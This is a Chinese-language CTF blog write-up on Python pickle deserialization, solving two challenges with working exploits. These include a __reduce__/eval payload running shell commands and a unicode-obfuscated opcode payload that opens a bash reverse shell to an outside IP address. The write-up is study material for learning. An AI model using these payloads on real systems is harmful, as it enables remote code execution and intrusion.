pickle反序列化

简介:

与PHP类似,python也有序列化功能以长期储存内存中的数据。

pickle就是python下的序列化与反序列化包。


函数:

pickle.dump(obj, file):将对象序列化并保存到文件中。

pickle.dumps(obj):将对象序列化并返回字节流。

pickle.load(file):从文件中读取字节流并反序列化为对象。

pickle.loads(bytes_obj):将字节流反序列化为对象。


pickle.dumps()就类似于php中的serialize

pickle.loads()就类似于php中的unserialize

而pickle.dump和pickle.load就是利用到了文件


方法:

_reduce_()

reduce()方法很像php魔术方法中的wakeup(),他会在这个对象进行反序列化的时候自动调用。

_reduce_() 是Python中一种特殊方法,用于自定义对象的序列化和反序列化过程。当对象需要被序列化成字节流(如存储到文件或通过网络传输),或者从字节流中反序列化回来时,Python会调用该方法。

例题:

[HZNUCTF 2023 preliminary]pickle

进入题目后右键查看源代码

有三个路由

第一个

将app.py的内容呈现给我们

第二个:

在/calc下get一个payload,然后对其进行base64解码,过滤了os

然后利用pickle.loads反序列化

第三个:

在/readFile目录下get一个filename,过滤了flag,然后读取该文件


很明显是pickle反序列化,在/calc下传入序列化的字节流并写入到文件

在/readFilem下读取文件

exp:

import pickle

import base64

class A():

def __reduce__(self):

return (eval,("__import__('o'+'s').system('env | tee a')",))

a = A()

b = pickle.dumps(a)

print(base64.b64encode(b))

用_reduce_方法

(eval,("__import__('o'+'s').system('env | tee a')",))

用eval来执行命令

python中,os就是可以调用system的函数:

os模块负责程序与操作系统的交互,提供了访问操作系统底层的接口;即os模块提供了非常丰富的方法用来处理文件和目录。

env命令用于显示系统中已存在的环境变量

但是由于eval函数没有回显,所以用tee将内容复制到a文件中

在/calc下写入

在/readFile下读取


[MTCTF 2022]easypickle

源代码:

需要session伪造admin

密钥需要爆破

得到密钥:

f322


然后就是pickle的部分

a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")

if b'R' in a or b'i' in a or b'o' in a or b'b' in a:

raise pickle.UnpicklingError("R i o b is forbidden")

pickle.loads(base64.b64decode(session.get('ser_data')))

return "ok"

对我们传进去的ser_data进行关键字替换,base64解码后赋值给a;

然后进行if判断R,i,r,b是否存在于a中,如果存在就会报错

最后进行pickle反序列化

这里虽然需要用到的os传进去后会变成Os,但是他赋值给了a

而我们最后pickle.loads的是ser_data

所以这个替换其实没啥用

但是这个if语句还是有用的,不能有R,i,o,b

R指令被禁掉了

所以我们不能像上面那题一样用_reduce_()方法

因为这个方法的执行是需要R指令来执行的


所以这题需要手动构造opcode(有个编写opcode的工具,叫pker,目前还不会用)

第一次做还不太懂,直接看看别人的payload

(:向栈中压入一个MARK标记

S:push一个string

d:将栈顶MARK以前的元素弹出构造dict,再push回栈顶

c:获取一个全局对象或import一个模块,形式如c[module]\n[instance]\n

V: 读入一个字符串,以\n结尾,然后把这个字符串压进栈中,V操作码是可以识别\u的,所以可以用来读unicode编码

. : stop 结束

大概知道是啥意思了,现在把V操作码里的内容换成我们想要执行的命令就行

因为没有回显,所以用反弹shell

bash -c ‘sh -i > & /dev/tcp/124.222.15.153/2333 0>&1’

因为i会被检测到,所以才使用V操作码,将命令进行unicode编码

exp:

import base64

opcode=b'''(S'key1'\nS'val1'\ndS'vul'\n(cos\nsystem\nV\u0062\u0061\u0073\u0068\u0020\u002d\u0063\u0020\u0027\u0073\u0068\u0020\u002d\u0069\u0020\u003e\u0026\u0020\u002f\u0064\u0065\u0076\u002f\u0074\u0063\u0070\u002f\u0035\u0069\u0037\u0038\u0031\u0039\u0036\u0033\u0070\u0032\u002e\u0079\u0069\u0063\u0070\u002e\u0066\u0075\u006e\u002f\u0035\u0038\u0032\u0036\u0035\u0020\u0030\u003e\u0026\u0031\u0027\nos.'''

print(base64.b64encode(opcode))

得到payload

伪造session,user为admin,ser_data为刚得到的payload

用nc监听,在题目cookie里发送

反弹成功拿flag即可


其他题目:

(有空再写)

[watevrCTF-2019]Pickle Store buu

[HFCTF 2021 Final]easyflask buu


总结:

第一次写python反序列化的题,有了初步的认识,后面遇到了相关题再慢慢学

评论

  1. mas
    3 月前
    2024-7-14 18:48:55

    这就是彭神

    • 博主
      mas
      3 月前
      2024-7-14 18:52:30

      我要是有肖神一半实力就好了

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇